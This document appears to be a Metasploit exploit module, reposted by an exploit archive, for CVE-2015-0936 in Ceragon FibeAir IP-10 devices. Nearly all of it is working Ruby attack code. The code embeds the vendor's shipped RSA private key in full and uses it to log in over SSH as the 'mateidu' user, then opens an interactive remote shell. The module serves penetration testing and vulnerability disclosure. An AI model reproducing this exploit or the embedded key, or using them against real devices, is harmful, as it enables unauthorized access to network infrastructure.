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# Ceragon FibeAir IP-10 SSH Private Key Exposure

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
include Msf::Auxiliary::Report

Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info, {
'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
'Description' => %q{
Ceragon ships a public/private key pair on FibeAir IP-10 devices
that allows passwordless authentication to any other IP-10 device.
Since the key is easily retrievable, an attacker can use it to
gain unauthorized remote access as the "mateidu" user.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => [
'hdm', # Discovery
'todb' # Metasploit module and advisory text (mostly copy-paste)
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0936'],
['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
['URL', 'https://hdm.io/blog/2015/01/20/partial-disclosure-is-annoying'] # Related issue with hardcoded
user:pass
],
'DisclosureDate' => "Apr 01 2015", # Not a joke
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))

register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)

end

# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end

def do_login(user)
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:key_data => [ key_data ],
:disable_agent => true,
:config => false,
:record_auth_info => true,
:proxies => datastore['Proxies']
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError
return nil
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end

if ssh_socket

# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
ssh_socket = nil

return conn
else
return nil
end
end

def exploit
conn = do_login("mateidu")
if conn
print_good "#{rhost}:#{rport} - Successful login"
handler(conn.lsock)
end
end

def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
-----END RSA PRIVATE KEY-----
EOF
end
end


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# Iranian Exploit DataBase = http://IeDb.Ir [2015-04-03]

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